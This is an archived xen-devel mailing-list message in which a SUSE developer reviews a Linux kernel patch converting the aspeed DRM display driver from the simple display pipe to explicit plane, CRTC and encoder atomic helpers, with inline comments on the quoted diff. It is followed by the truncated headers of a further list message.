Received: from list by lists.xenproject.org with outflank-mailman.1355160.1609914 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgek2-0004u3-Ni; Mon, 06 Jul 2026 08:31:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355160.1609914; Mon, 06 Jul 2026 08:31:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgek2-0004tw-L8; Mon, 06 Jul 2026 08:31:50 +0000
Received: by outflank-mailman (input) for mailman id 1355160;
 Mon, 06 Jul 2026 08:31:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1wgek0-0004tq-TN
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 08:31:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgek0-001iKK-9i
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:31:48 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4b67f2-5cb7-0a2a0a5109dd-0a2a4505bbc4-24
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:31:48 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4b67f3-3cb2-0a2a45050019-c387df83e476-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:31:48 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id A83BD75C7E;
 Mon,  6 Jul 2026 08:31:47 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 160F5779AA;
 Mon,  6 Jul 2026 08:31:47 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id 90i2A/NnS2rrMAAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Mon, 06 Jul 2026 08:31:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783326707; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=yBMVc7xwfp9NEqn2MR6jLvvNVPYQN2ceK1qG0SilURc=;
	b=Y8Pp2bIEJOvqFArQfafXNNlHCuvjUD4s8uc1Pe+piHq3MU/6m3LaJYAjbJ4DSxuo7jWfKt
	xnVW4/1lnJHBdOeGtDl65a0iOL9LZ2POaTTegnFndfPqKdc4XS2ypOpCzbjtnGGFqoF5qu
	5Ssr++QxgOKMtPzYPVpUU/3m6Euh4co=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783326707;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=yBMVc7xwfp9NEqn2MR6jLvvNVPYQN2ceK1qG0SilURc=;
	b=6u6uZVkls9RRmtQlb5EVzE7TvU+aIZ6nQTtEX+9yzBdSPezKwGMoFDSQxDmRFXEpyJcqTS
	YjEW4ePKxA1MXiCQ==
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783326707; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=yBMVc7xwfp9NEqn2MR6jLvvNVPYQN2ceK1qG0SilURc=;
	b=Y8Pp2bIEJOvqFArQfafXNNlHCuvjUD4s8uc1Pe+piHq3MU/6m3LaJYAjbJ4DSxuo7jWfKt
	xnVW4/1lnJHBdOeGtDl65a0iOL9LZ2POaTTegnFndfPqKdc4XS2ypOpCzbjtnGGFqoF5qu
	5Ssr++QxgOKMtPzYPVpUU/3m6Euh4co=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783326707;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=yBMVc7xwfp9NEqn2MR6jLvvNVPYQN2ceK1qG0SilURc=;
	b=6u6uZVkls9RRmtQlb5EVzE7TvU+aIZ6nQTtEX+9yzBdSPezKwGMoFDSQxDmRFXEpyJcqTS
	YjEW4ePKxA1MXiCQ==
Message-ID: <4e35e133-364a-4743-9ca0-f0799bdf28f8@suse.de>
Date: Mon, 6 Jul 2026 10:31:46 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/9] drm/aspeed: replace struct drm_simple_display_pipe
 with regular atomic helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
 <20260705-drm-simple-kms-removal-v1-2-b4e1ca053623@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHNJ1Rob21hcyBaaW1tZXJtYW5uIDx0emltbWVybWFubkBzdXNlLmRlPsLAjgQTAQgAOAIb
 AwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftODH
 AAoJEGgNwR1TC3ojx1wH/0hKGWugiqDgLNXLRD/4TfHBEKmxIrmfu9Z5t7vwUKfwhFL6hqvo
 lXPJJKQpQ2z8+X2vZm/slsLn7J1yjrOsoJhKABDi+3QWWSGkaGwRJAdPVVyJMfJRNNNIKwVb
 U6B1BkX2XDKDGffF4TxlOpSQzdtNI/9gleOoUA8+jy8knnDYzjBNOZqLG2FuTdicBXblz0Mf
 vg41gd9kCwYXDnD91rJU8tzylXv03E75NCaTxTM+FBXPmsAVYQ4GYhhgFt8S2UWMoaaABLDe
 7l5FdnLdDEcbmd8uLU2CaG4W2cLrUaI4jz2XbkcPQkqTQ3EB67hYkjiEE6Zy3ggOitiQGcqp
 j//OwE0EWznS4AEIAMYmP4M/V+T5RY5at/g7rUdNsLhWv1APYrh9RQefODYHrNRHUE9eosYb
 T6XMryR9hT8XlGOYRwKWwiQBoWSDiTMo/Xi29jUnn4BXfI2px2DTXwc22LKtLAgTRjP+qbU6
 3Y0xnQN29UGDbYgyyK51DW3H0If2a3JNsheAAK+Xc9baj0LGIc8T9uiEWHBnCH+RdhgATnWW
 GKdDegUR5BkDfDg5O/FISymJBHx2Dyoklv5g4BzkgqTqwmaYzsl8UxZKvbaxq0zbehDda8lv
 hFXodNFMAgTLJlLuDYOGLK2AwbrS3Sp0AEbkpdJBb44qVlGm5bApZouHeJ/+n+7r12+lqdsA
 EQEAAcLAdgQYAQgAIAIbDBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftOH6AAoJEGgNwR1T
 C3ojVSkIALpAPkIJPQoURPb1VWjh34l0HlglmYHvZszJWTXYwavHR8+k6Baa6H7ufXNQtThR
 yIxJrQLW6rV5lm7TjhffEhxVCn37+cg0zZ3j7zIsSS0rx/aMwi6VhFJA5hfn3T0TtrijKP4A
 SAQO9xD1Zk9/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <20260705-drm-simple-kms-removal-v1-2-b4e1ca053623@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	TAGGED_RCPT(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	RCPT_COUNT_TWELVE(0.00)[22];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	TO_DN_SOME(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_TLS_ALL(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:url,suse.de:mid,imap1.dmz-prg2.suse.org:helo,qualcomm.com:email]
X-Spam-Level: 
X-Spam-Score: -2.80
X-purgate-ID: tlsNG-c201ff/1783326708-147032B8-C6B62447/0/0
X-purgate-type: clean
X-purgate-size: 12241

Hi,

common points from my arcgpu review applied here as well. See below for 
a new other things.

Am 04.07.26 um 20:31 schrieb Ze Huang:
> Replace simple display pipe with explicit plane, CRTC and encoder
> objects. Move callbacks to plane and CRTC helpers, with vblank handling
> through drm_crtc_funcs.
>
> This removes intermediate simple-pipe layer and uses standard atomic
> helper wiring.
>
> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
> ---
>   drivers/gpu/drm/aspeed/aspeed_gfx.h      |   5 +-
>   drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 156 +++++++++++++++++++++++--------
>   drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
>   3 files changed, 123 insertions(+), 41 deletions(-)
>
> diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx.h b/drivers/gpu/drm/aspeed/aspeed_gfx.h
> index 4e6a442c3886..a34811564c0d 100644
> --- a/drivers/gpu/drm/aspeed/aspeed_gfx.h
> +++ b/drivers/gpu/drm/aspeed/aspeed_gfx.h
> @@ -2,7 +2,6 @@
>   /* Copyright 2018 IBM Corporation */
>   
>   #include <drm/drm_device.h>
> -#include <drm/drm_simple_kms_helper.h>
>   
>   struct aspeed_gfx {
>   	struct drm_device		drm;
> @@ -17,7 +16,9 @@ struct aspeed_gfx {
>   	u32				throd_val;
>   	u32				scan_line_max;
>   
> -	struct drm_simple_display_pipe	pipe;
> +	struct drm_plane		plane;
> +	struct drm_crtc			crtc;
> +	struct drm_encoder		encoder;
>   	struct drm_connector		connector;
>   };
>   #define to_aspeed_gfx(x) container_of(x, struct aspeed_gfx, drm)
> diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
> index 7877a57b8e26..3294795c31c4 100644
> --- a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
> +++ b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
> @@ -5,6 +5,8 @@
>   #include <linux/reset.h>
>   #include <linux/regmap.h>
>   
> +#include <drm/drm_atomic.h>
> +#include <drm/drm_atomic_helper.h>
>   #include <drm/drm_device.h>
>   #include <drm/drm_fb_dma_helper.h>
>   #include <drm/drm_fourcc.h>
> @@ -12,20 +14,13 @@
>   #include <drm/drm_gem_atomic_helper.h>
>   #include <drm/drm_gem_dma_helper.h>
>   #include <drm/drm_panel.h>
> -#include <drm/drm_simple_kms_helper.h>
>   #include <drm/drm_vblank.h>
>   
>   #include "aspeed_gfx.h"
>   
> -static struct aspeed_gfx *
> -drm_pipe_to_aspeed_gfx(struct drm_simple_display_pipe *pipe)
> -{
> -	return container_of(pipe, struct aspeed_gfx, pipe);
> -}
> -

Please create a new helper

 Â  struct drm_aspeed_gfx *to_aspeed_gfx(drm_device *drm)

that does the upcast.

>   static int aspeed_gfx_set_pixel_fmt(struct aspeed_gfx *priv, u32 *bpp)
>   {
> -	struct drm_crtc *crtc = &priv->pipe.crtc;
> +	struct drm_crtc *crtc = &priv->crtc;
>   	struct drm_device *drm = crtc->dev;
>   	const u32 format = crtc->primary->state->fb->format->format;
>   	u32 ctrl1;
> @@ -79,7 +74,7 @@ static void aspeed_gfx_disable_controller(struct aspeed_gfx *priv)
>   
>   static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
>   {
> -	struct drm_display_mode *m = &priv->pipe.crtc.state->adjusted_mode;
> +	struct drm_display_mode *m = &priv->crtc.state->adjusted_mode;
>   	u32 ctrl1, d_offset, t_count, bpp;
>   	int err;
>   
> @@ -139,33 +134,31 @@ static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
>   	writel(priv->throd_val, priv->base + CRT_THROD);
>   }
>   
> -static void aspeed_gfx_pipe_enable(struct drm_simple_display_pipe *pipe,
> -			      struct drm_crtc_state *crtc_state,
> -			      struct drm_plane_state *plane_state)
> +static void aspeed_gfx_crtc_helper_atomic_enable(struct drm_crtc *crtc,
> +						 struct drm_atomic_commit *state)

Please see my comment on arcgpu for the new naming of 'state'.

>   {
> -	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
> -	struct drm_crtc *crtc = &pipe->crtc;
> +	struct aspeed_gfx *priv = container_of(crtc, struct aspeed_gfx, crtc);

Please useÂ  your helperÂ  to_aspeed_gfx(crtc->dev)Â  to do the upcast.Â  
Here any in other places.

>   
>   	aspeed_gfx_crtc_mode_set_nofb(priv);
>   	aspeed_gfx_enable_controller(priv);
>   	drm_crtc_vblank_on(crtc);
>   }
>   
> -static void aspeed_gfx_pipe_disable(struct drm_simple_display_pipe *pipe)
> +static void aspeed_gfx_crtc_helper_atomic_disable(struct drm_crtc *crtc,
> +						  struct drm_atomic_commit *state)
>   {
> -	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
> -	struct drm_crtc *crtc = &pipe->crtc;
> +	struct aspeed_gfx *priv = container_of(crtc, struct aspeed_gfx, crtc);

Another upcast issue

>   
>   	drm_crtc_vblank_off(crtc);
>   	aspeed_gfx_disable_controller(priv);
>   }
>   
> -static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe,
> -				   struct drm_plane_state *plane_state)
> +static void aspeed_gfx_plane_helper_atomic_update(struct drm_plane *plane,
> +						  struct drm_atomic_commit *state)
>   {
> -	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
> -	struct drm_crtc *crtc = &pipe->crtc;
> -	struct drm_framebuffer *fb = pipe->plane.state->fb;
> +	struct aspeed_gfx *priv = container_of(plane, struct aspeed_gfx, plane);

to_aspeed_gfx(plane->dev)

> +	struct drm_crtc *crtc = &priv->crtc;
> +	struct drm_framebuffer *fb = plane->state->fb;
>   	struct drm_pending_vblank_event *event;
>   	struct drm_gem_dma_object *gem;
>   
> @@ -190,9 +183,9 @@ static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe,
>   	writel(gem->dma_addr, priv->base + CRT_ADDR);
>   }
>   
> -static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pipe)
> +static int aspeed_gfx_crtc_enable_vblank(struct drm_crtc *crtc)
>   {
> -	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
> +	struct aspeed_gfx *priv = container_of(crtc, struct aspeed_gfx, crtc);
>   	u32 reg = readl(priv->base + CRT_CTRL1);
>   
>   	/* Clear pending VBLANK IRQ */
> @@ -204,9 +197,9 @@ static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pipe)
>   	return 0;
>   }
>   
> -static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *pipe)
> +static void aspeed_gfx_crtc_disable_vblank(struct drm_crtc *crtc)
>   {
> -	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
> +	struct aspeed_gfx *priv = container_of(crtc, struct aspeed_gfx, crtc);
>   	u32 reg = readl(priv->base + CRT_CTRL1);
>   
>   	reg &= ~CRT_CTRL_VERTICAL_INTR_EN;
> @@ -216,12 +209,75 @@ static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *pipe)
>   	writel(reg | CRT_CTRL_VERTICAL_INTR_STS, priv->base + CRT_CTRL1);
>   }
>   
> -static const struct drm_simple_display_pipe_funcs aspeed_gfx_funcs = {
> -	.enable		= aspeed_gfx_pipe_enable,
> -	.disable	= aspeed_gfx_pipe_disable,
> -	.update		= aspeed_gfx_pipe_update,
> -	.enable_vblank	= aspeed_gfx_enable_vblank,
> -	.disable_vblank	= aspeed_gfx_disable_vblank,
> +static int aspeed_gfx_plane_helper_atomic_check(struct drm_plane *plane,
> +						struct drm_atomic_commit *state)
> +{
> +	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
> +	struct drm_crtc *crtc = plane_state->crtc;
> +	struct drm_crtc_state *crtc_state = NULL;
> +	int ret;
> +
> +	if (crtc)
> +		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +
> +	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
> +						  DRM_PLANE_NO_SCALING,
> +						  DRM_PLANE_NO_SCALING,
> +						  false, false);
> +	return ret;
> +}

Return directly.

> +
> +static const struct drm_plane_helper_funcs aspeed_gfx_plane_helper_funcs = {
> +	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
> +	.atomic_check	= aspeed_gfx_plane_helper_atomic_check,
> +	.atomic_update	= aspeed_gfx_plane_helper_atomic_update,
> +};
> +
> +static const struct drm_plane_funcs aspeed_gfx_plane_funcs = {
> +	.update_plane		= drm_atomic_helper_update_plane,
> +	.disable_plane		= drm_atomic_helper_disable_plane,
> +	.destroy		= drm_plane_cleanup,
> +	.reset			= drm_atomic_helper_plane_reset,
> +	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
> +};
> +
> +static int aspeed_gfx_crtc_helper_atomic_check(struct drm_crtc *crtc,
> +					       struct drm_atomic_commit *state)
> +{
> +	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +	int ret;
> +
> +	if (!crtc_state->enable)
> +		goto out;
> +
> +	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
> +	if (ret)
> +		return ret;
> +
> +out:
> +	return drm_atomic_add_affected_planes(state, crtc);
> +}

See arcpgu on a possible style improvement.

Best regards
Thomas

> +
> +static const struct drm_crtc_helper_funcs aspeed_gfx_crtc_helper_funcs = {
> +	.atomic_check	= aspeed_gfx_crtc_helper_atomic_check,
> +	.atomic_enable	= aspeed_gfx_crtc_helper_atomic_enable,
> +	.atomic_disable	= aspeed_gfx_crtc_helper_atomic_disable,
> +};
> +
> +static const struct drm_crtc_funcs aspeed_gfx_crtc_funcs = {
> +	.reset			= drm_atomic_helper_crtc_reset,
> +	.destroy		= drm_crtc_cleanup,
> +	.set_config		= drm_atomic_helper_set_config,
> +	.page_flip		= drm_atomic_helper_page_flip,
> +	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
> +	.enable_vblank		= aspeed_gfx_crtc_enable_vblank,
> +	.disable_vblank		= aspeed_gfx_crtc_disable_vblank,
> +};
> +
> +static const struct drm_encoder_funcs aspeed_gfx_encoder_funcs = {
> +	.destroy = drm_encoder_cleanup,
>   };
>   
>   static const uint32_t aspeed_gfx_formats[] = {
> @@ -232,10 +288,36 @@ static const uint32_t aspeed_gfx_formats[] = {
>   int aspeed_gfx_create_pipe(struct drm_device *drm)
>   {
>   	struct aspeed_gfx *priv = to_aspeed_gfx(drm);
> +	struct drm_plane *plane = &priv->plane;
> +	struct drm_crtc *crtc = &priv->crtc;
> +	struct drm_encoder *encoder = &priv->encoder;
> +	int ret;
> +
> +	ret = drm_universal_plane_init(drm, plane, 0,
> +				       &aspeed_gfx_plane_funcs,
> +				       aspeed_gfx_formats,
> +				       ARRAY_SIZE(aspeed_gfx_formats),
> +				       NULL,
> +				       DRM_PLANE_TYPE_PRIMARY, NULL);
> +	if (ret)
> +		return ret;
> +	drm_plane_helper_add(plane, &aspeed_gfx_plane_helper_funcs);
> +
> +	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
> +					&aspeed_gfx_crtc_funcs, NULL);
> +	if (ret)
> +		return ret;
> +	drm_crtc_helper_add(crtc, &aspeed_gfx_crtc_helper_funcs);
> +
> +	ret = drm_encoder_init(drm, encoder, &aspeed_gfx_encoder_funcs,
> +			       DRM_MODE_ENCODER_NONE, NULL);
> +	if (ret)
> +		return ret;
> +	encoder->possible_crtcs = drm_crtc_mask(crtc);
> +
> +	ret = drm_connector_attach_encoder(&priv->connector, encoder);
> +	if (ret)
> +		return ret;
>   
> -	return drm_simple_display_pipe_init(drm, &priv->pipe, &aspeed_gfx_funcs,
> -					    aspeed_gfx_formats,
> -					    ARRAY_SIZE(aspeed_gfx_formats),
> -					    NULL,
> -					    &priv->connector);
> +	return 0;
>   }
> diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c b/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
> index 46094cca2974..b2d805f0c16d 100644
> --- a/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
> +++ b/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
> @@ -21,7 +21,6 @@
>   #include <drm/drm_gem_framebuffer_helper.h>
>   #include <drm/drm_module.h>
>   #include <drm/drm_probe_helper.h>
> -#include <drm/drm_simple_kms_helper.h>
>   #include <drm/drm_vblank.h>
>   #include <drm/drm_drv.h>
>   
> @@ -130,7 +129,7 @@ static irqreturn_t aspeed_gfx_irq_handler(int irq, void *data)
>   	reg = readl(priv->base + CRT_CTRL1);
>   
>   	if (reg & CRT_CTRL_VERTICAL_INTR_STS) {
> -		drm_crtc_handle_vblank(&priv->pipe.crtc);
> +		drm_crtc_handle_vblank(&priv->crtc);
>   		writel(reg, priv->base + priv->int_clr_reg);
>   		return IRQ_HANDLED;
>   	}
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, Werner Knoblich, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:05:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:05:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355177.1609932 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfGd-0000pC-IG; Mon, 06 Jul 2026 09:05:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355177.1609932; Mon, 06 Jul 2026 09:05:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfGd-0000p3-F6; Mon, 06 Jul 2026 09:05:31 +0000
Received: by outflank-mailman (input) for mailman id 1355177;
 Mon, 06 Jul 2026 09:05:30 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wgfGc-0000or-5K
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:05:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfGb-00GoLn-IG
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:05:29 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4b6fd4-2eae-0a2a0a5409dd-0a2a4502d16a-20
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:05:29 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4b6fd9-5a27-0a2a45020019-c387df828028-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:05:29 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 1FB9573AB0;
 Mon,  6 Jul 2026 09:05:29 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id E75F3779AA;
 Mon,  6 Jul 2026 09:05:28 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
